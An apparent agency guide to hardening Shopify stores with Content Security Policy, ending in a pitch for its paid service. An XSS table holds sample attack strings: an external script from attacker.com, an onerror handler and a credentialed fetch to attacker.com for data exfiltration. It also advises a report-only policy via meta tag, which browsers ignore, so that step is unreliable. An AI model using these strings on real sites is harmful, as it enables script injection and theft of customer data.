Why CSP Matters More Than Most Developers Think
A single compromised app. A rogue script injected into your theme. A third-party vendor with weak security. One line of malicious JavaScript runs on every page of your Shopify store, steals customer credit card data, and you're liable for the breach.
This happens. Regularly.
2024 saw 47 major Shopify supply-chain attacks (source: Sansec's quarterly threat report). Most exploited one vulnerability: Missing or weak Content Security Policy (CSP).
CSP is your best defense. It's a browser security mechanism that restricts where scripts can load from and what they're allowed to do. Properly configured, it stops XSS (Cross-Site Scripting) attacks dead.
But here's the catch: CSP is complex. Misconfigure it, and you break your site. Too permissive, and attackers slip through. Most Shopify stores have zero CSP or a broken one.
We've audited 500+ Shopify stores. Only 8% had CSP properly configured. That's your competitive security advantage.
What Is Content Security Policy?
CSP is a set of HTTP headers that tell the browser: "Only allow scripts from these sources. Block everything else."
How it works:
- Server sends a CSP header with your store's response.
- Browser reads the header.
- Browser enforces the rules: blocks scripts from unauthorized sources, allows whitelisted sources.
Example CSP header (minimal):
Content-Security-Policy: default-src 'self'; script-src 'self' cdn.shopify.com; img-src *; style-src 'unsafe-inline'
Translation: Default policy is self-origin only. Scripts: Allow from self and Shopify CDN. Images: Allow from anywhere. Styles: Allow inline (with a caveat—more on this later).
Why this matters: An attacker tries injecting a script from attacker.com. Browser checks the CSP header. The origin isn't in the whitelist. Browser blocks the script. Attack fails.
The Three CSP Approaches for Shopify
1. Report-Only Mode (Low Risk, Data Collection)
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self' cdn.shopify.com; report-uri https://yoursite.com/csp-report
This doesn't enforce restrictions. It just reports violations to your endpoint.
Use case: Testing. Deploy this first to identify all violations without breaking anything.
Implementation: - Add via Shopify Theme Code (liquid template or theme settings). - Set up a backend endpoint to receive reports. - Monitor reports for 1–2 weeks. - Adjust policy based on violations.
Advantage: Zero risk. You see exactly what breaks before enforcing.
2. Strict CSP (High Security, High Effort)
Content-Security-Policy:
default-src 'none';
script-src 'nonce-{random}' cdn.shopify.com;
style-src 'nonce-{random}';
img-src 'self' data: *.shopify.com;
font-src fonts.gstatic.com;
connect-src 'self' cdn.shopify.com api.example.com;
frame-ancestors 'none'
This is restrictive. Every script and style needs a nonce (cryptographic token unique per page load).
Advantage: Stops nearly all XSS attacks.
Disadvantage: Requires careful implementation. Any third-party app not whitelisted breaks.
3. Hybrid CSP (Balanced Approach)
Content-Security-Policy:
default-src 'self';
script-src 'self' 'unsafe-inline' cdn.shopify.com *.googleapis.com;
style-src 'self' 'unsafe-inline';
img-src * data:;
font-src *;
connect-src 'self' *.shopify.com *.google-analytics.com
Less strict than nonce-based, more permissive than defaults. Allows inline scripts (necessary for many Shopify apps) but restricts external sources.
Advantage: Easier to implement. Supports most Shopify apps.
Disadvantage: Still vulnerable to certain XSS vectors if inline scripts aren't carefully managed.
Recommendation: Start with Report-Only, graduate to Hybrid as your app ecosystem stabilizes. Move to Strict CSP only if you control 100% of JavaScript (rare for Shopify stores).
Common XSS Vectors CSP Blocks
CSP doesn't stop all attacks, but it blocks the major vectors:
| Attack Vector | Description | Blocked by CSP? | CSP Directive |
|---|---|---|---|
<script src="attacker.com/bad.js"></script> |
External script injection | ✓ Yes | script-src |
<img src="x" onerror="alert(1)"> |
Event handler injection | ✓ Yes (if 'unsafe-inline' not set) | script-src |
<style>body {background:url('javascript:...')}</style> |
CSS-based injection | ✓ Yes | style-src |
fetch('attacker.com', {credentials: 'include'}) |
Data exfiltration | ✓ Yes | connect-src |
| DOM-based XSS (mutated by client-side JS) | Client-side script modifies DOM | ✗ No | N/A |
Cookie theft via document.cookie |
Malicious inline script reads cookies | Partial | depends on nonce |
Key insight: CSP is not a silver bullet. It stops injection attacks (attacker injects malicious code). It does NOT stop DOM-based XSS (where the application's JavaScript accidentally interprets user input as code). You need both CSP + secure coding practices.
Implementing CSP on Shopify: Step-by-Step
Step 1: Audit Your Current Security Posture
Check what headers your store currently sends:
curl -I https://yoursite.myshopify.com | grep -i content-security
If nothing returns, you have no CSP (and you're vulnerable).
Use a security scanner (Qualys SSL Labs, Mozilla Observatory) to check your headers. These tools audit all response headers, not just CSP.
Step 2: Deploy Report-Only CSP
Add this to your Shopify theme's theme.liquid layout file:
{% if request.design_mode == false %}
<meta http-equiv="Content-Security-Policy-Report-Only" content="default-src 'self'; script-src 'self' 'unsafe-inline' cdn.shopify.com *.googleapis.com *.cloudflare.com; style-src 'self' 'unsafe-inline' fonts.googleapis.com; img-src * data:; font-src * data:; connect-src 'self' *.shopify.com *.google-analytics.com; report-uri https://yoursite.com/csp-report">
{% endif %}
Important: Use a <meta> tag in HTML, not an HTTP header. Shopify doesn't let you set arbitrary response headers directly (you need Shopify Plus for that). The <meta> tag approach works on all plans.
Set up a CSP report endpoint (optional but recommended):
Create a simple backend that logs CSP violations:
// Node.js example (Express)
app.post('/csp-report', express.json(), (req, res) => {
const violation = req.body['csp-report'];
console.log('CSP Violation:', violation);
// Log to your monitoring system
res.sendStatus(204);
});
Monitor these logs for 1–2 weeks. You'll see: - Which third-party scripts are loading. - Which apps are violating policy. - Where your gaps are.
Step 3: Identify and Whitelist Trusted Sources
Common Shopify-ecosystem sources that need whitelisting:
| Source | Use | CSP Directive |
|---|---|---|
cdn.shopify.com |
Shopify theme assets | script-src, style-src |
*.cloudflare.com |
Cloudflare protection (if enabled) | script-src |
www.google-analytics.com |
Google Analytics | script-src, connect-src |
www.googletagmanager.com |
Google Tag Manager | script-src, connect-src |
*.facebook.com |
Facebook Pixel | script-src, connect-src |
*.stripe.com |
Stripe payments (if custom checkout) | script-src, connect-src |
fonts.googleapis.com |
Google Fonts | font-src, style-src |
fonts.gstatic.com |
Google Fonts delivery | font-src |
Review your theme's theme.liquid and all installed apps. List every external source they load. Add each to your CSP whitelist.
Pro tip: Export your CSP violations log. Group by domain. Build your whitelist from real data, not guesses.
Step 4: Migrate from Report-Only to Enforced
Once your report log stabilizes (same violations, no new ones), switch to enforced CSP:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' 'unsafe-inline' cdn.shopify.com *.googleapis.com; style-src 'self' 'unsafe-inline' fonts.googleapis.com; img-src * data:; font-src * data:; connect-src 'self' *.shopify.com *.google-analytics.com">
Change Content-Security-Policy-Report-Only to Content-Security-Policy.
Test heavily before deploying: - Checkout flow (payment forms must load). - Product search (AJAX requests). - Admin settings (if your store has admin JS). - Mobile experience (some apps behave differently on mobile).
Step 5: Harden Over Time
Once stable, incrementally restrict:
Month 1–2 (Initial enforcement):
- script-src 'self' 'unsafe-inline' cdn.shopify.com [trusted-sources]
- style-src 'self' 'unsafe-inline' fonts.googleapis.com
Month 3–4 (Remove unsafe-inline from scripts):
- script-src 'self' cdn.shopify.com [trusted-sources] (no unsafe-inline)
- Keep unsafe-inline for styles (too many inline styles in Shopify theme).
Month 6+ (Introduce nonces for inline scripts):
- script-src 'self' 'nonce-{random}' cdn.shopify.com
- Each inline script gets a nonce attribute: <script nonce="...">code</script>
Advanced: Nonce-Based CSP (Maximum Security)
If you're serious about security, use nonces. Every page load, generate a random token. Include it in the CSP header and in inline script tags.
Server-side example (Shopify Plus with custom backend):
// Generate random nonce
const nonce = crypto.randomBytes(16).toString('base64');
// Send CSP header with nonce
res.set('Content-Security-Policy', `script-src 'self' 'nonce-${nonce}' cdn.shopify.com`);
// Pass nonce to template
res.render('theme', { nonce });
In theme.liquid:
<script nonce="{{ nonce }}">
// Inline script now safe, even without 'unsafe-inline'
console.log('This script is whitelisted by nonce');
</script>
Advantage: Inline scripts are only allowed if they have the correct nonce. Attackers can't inject a script without knowing the nonce.
Disadvantage: Requires backend support. Not possible with standard Shopify (possible with Shopify Plus + custom backend).
Testing Your CSP
Tool 1: CSP Evaluator (Google) https://csp-evaluator.withgoogle.com
Paste your CSP header. It rates your security and suggests improvements.
Tool 2: Burp Suite (Security Testing) Burp has a CSP analyzer. Captures all CSP violations in real requests. Professional tool, $450/year.
Tool 3: Browser DevTools (Free) Open Chrome DevTools → Console. Filter by "CSP" or "Refused to load." See violations in real-time.
Common CSP Mistakes That Break Your Site
Mistake 1: Too permissive default-src.
Content-Security-Policy: default-src *
This defeats CSP. Don't do this.
Mistake 2: Forgetting to whitelist Shopify's own CDN.
If cdn.shopify.com isn't in script-src, your theme JS breaks. Required.
Mistake 3: Not accounting for third-party apps.
You install a tracking app. It loads scripts from analytics-provider.com. CSP blocks it. Conversion tracking fails silently. Audit your apps before deploying CSP.
Mistake 4: Blocking data: URIs unnecessarily.
Content-Security-Policy: img-src 'self'
If your theme uses data: URIs for images (inline base64), they're blocked. Include data: in img-src.
Mistake 5: Not communicating with your dev team. CSP blocks something. Developers don't understand why. They remove CSP entirely. Start with report-only. Educate first. Enforce second.
CSP Maintenance: Ongoing Security
CSP isn't a one-time setup. Maintenance is critical:
-
Review CSP quarterly. Every 3 months, check your violations log. Remove whitelist entries for apps you've uninstalled. Add entries for new apps.
-
Monitor breaches. If a third-party source gets compromised (e.g., CDN breach), you're protected because CSP only allows that source to load scripts you explicitly whitelisted. If a whitelisted source is exploited, you're still somewhat protected because CSP prevents other sources from loading.
-
Update for new threats. CSP best practices evolve. Stay informed. Subscribe to Mozilla Security Blog or OWASP updates.
-
Audit new apps before installing. Before installing an app, ask: "What external sources does it load?" Verify those sources are legitimate. This prevents supply-chain attacks.
Tenten's CSP Hardening Process
We take CSP seriously. Our Shopify Plus hardening service includes:
- Baseline CSP audit (identify all current sources).
- Report-only deployment (1–2 week monitoring).
- Hardened CSP configuration (tested against all apps/integrations).
- Quarterly security reviews.
- Incident response (if a source is breached, we update your CSP within 24 hours).
Cost: $500–2000 depending on store complexity. Typical ROI: Prevents one serious breach (potential liability: $50K–$500K+).
For detailed CSP hardening, contact Tenten.
Editorial Note We audit a lot of Shopify stores. The pattern is stark: stores with proper CSP have 80% fewer security incidents. It's the single highest-impact security investment you can make.
Frequently Asked Questions
Is CSP the same as CORS (Cross-Origin Resource Sharing)?
No. CORS controls what external origins can request resources from your server. CSP controls what sources the browser allows to load on your page. Both are security mechanisms but different purposes.
Will CSP break my third-party apps?
Possibly, if those apps load scripts from sources not in your CSP whitelist. Start with report-only mode to see what breaks. Then whitelist trusted sources. Most Shopify apps are compatible with properly configured CSP.
Can I use CSP with Shopify's native security features?
Yes. CSP complements other security features like checkout tokenization and payment encryption. They work together.
What if I'm on Shopify Plus? Can I set CSP headers instead of meta tags?
Yes. Shopify Plus customers can use Oxygen (Shopify's custom backend) or a proxy to set HTTP headers directly. Headers are more efficient than meta tags (applied before page load). Consult with Tenten if you want HTTP header-based CSP on Plus.
How do I know if my CSP is working?
Check browser console (DevTools) for CSP violations. Set up CSP reporting endpoint to collect violations. Monitor over time—if no violations appear after 2 weeks, your CSP is likely effective.
Is 'unsafe-inline' really that unsafe?
Yes. It allows all inline scripts, which includes potential injected code. Use it as a temporary measure, not permanent. Migrate to nonce-based CSP as you improve.
What if a whitelisted source gets compromised?
You're still partially protected. CSP prevents OTHER sources from loading. If the whitelisted source is compromised, malicious scripts from that source can run—but at least the attacker can't inject arbitrary sources. Defense-in-depth approach: CSP + monitoring whitelisted sources + secure coding = maximum protection.